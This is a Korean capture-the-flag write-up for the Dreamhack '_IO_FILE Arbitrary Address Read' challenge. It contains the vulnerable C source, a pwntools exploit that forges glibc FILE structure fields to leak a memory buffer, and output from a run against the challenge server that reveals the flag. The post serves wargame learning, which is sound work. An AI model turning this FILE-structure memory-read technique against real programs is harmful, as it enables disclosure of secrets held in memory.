[Dreamhack] _IO_FILE Arbitrary Address Read

#코딩노예#·2022년 8월 8일
0

문제 코드

// Name: iofile_aar
// gcc -o iofile_aar iofile_aar.c -no-pie 

#include <stdio.h>
#include <unistd.h>
#include <string.h>

char flag_buf[1024];
FILE *fp;

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int read_flag() {
        FILE *fp;
        fp = fopen("/home/iofile_aar/flag", "r");
        fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
        fclose(fp);
}

int main() {
  const char *data = "TEST FILE!";

  init();
  read_flag();

  fp = fopen("/tmp/testfile", "w");

  printf("Data: ");

  read(0, fp, 300);

  fwrite(data, sizeof(char), sizeof(flag_buf), fp);
  fclose(fp);
}


보호 기법

❯ checksec iofile_aar
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/wargame/iofile_aar'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)


코드 분석

  • "flag" 파일을 읽고, flag_buf 변수에 저장
  • "testfile" 파일을 쓰기 모드로 열었고 파일 포인터에 300 바이트 만큼의 값을 입력할 수 있습니다. 그래서 _IO_FILE 구조체를 조작할 수 있습니다.


익스플로잇 코드

from pwn import *

p = remote("host3.dreamhack.games", 20481)
elf = ELF('./iofile_aar')

flag_buf = elf.symbols['flag_buf']

payload = p64(0xfbad0000 | 0x800)
payload += p64(0) # _IO_read_ptr
payload += p64(flag_buf) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(flag_buf) # _IO_write_base 
payload += p64(flag_buf + 0x100) # _IO_write_ptr 
payload += p64(0) # _IO_write_end 
payload += p64(0) # _IO_buf_base
payload += p64(0) # _IO_buf_end
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0) 
payload += p64(1) # stdout

p.sendlineafter("Data: ", payload)
p.interactive()


익스플로잇

익스플로잇 코드를 실행시켜보면

❯ python3 remote.py 
[+] Opening connection to host3.dreamhack.games on port 20481: Done
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/wargame/iofile_aar'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
DH{42b4dc5cc3f44173a95bbe7901b8aba3}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00EST FILE!\x00\x00tmp/testfile\x00ata: \x00\x00\x1b\x03L\x00\x00\x00\x00\xfc\xff\xff\xa8\x00\xfd\xff\xffh\x00\xfd\xff\xff\x94\x00\xfe\xff\xff\xd0\x00J\xfe\xff\xff\xf0\x95\xfe\xff\xff\x10\x00@\xff\xff\xff0\x00\xb0\xff\xff\xffx\x00\x00\x00\x14\x00\x00\x00zR\x00x\x10\x1b\x0\x90\x07\x10\x00\x1c\x00\xb0\xfc\xff\xff+\x00\x00\x00\x00\x00\x00\x00zR\x00x\x10\x1b\x0\x90\x00\x10\x00\x1c\x00\xb4\xfc\xff\xff\x00\x00\\x06\x9c\x0\x00D\x00\x00\x00\x00\xfe\xff\xffe\x00\x00B\x0e\x8fB\x0e\x8e\x03\x0e\x8d\x04\x0e\x8c\x05\x0e\x86\x06\x0e\x83\x07\x0er\x0eA\x0eA\x0eB\x0eB\x0eB\x0eB\x0e\x00\x00\x00\x000\xfe\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

flag가 출력됩니다.

0개의 댓글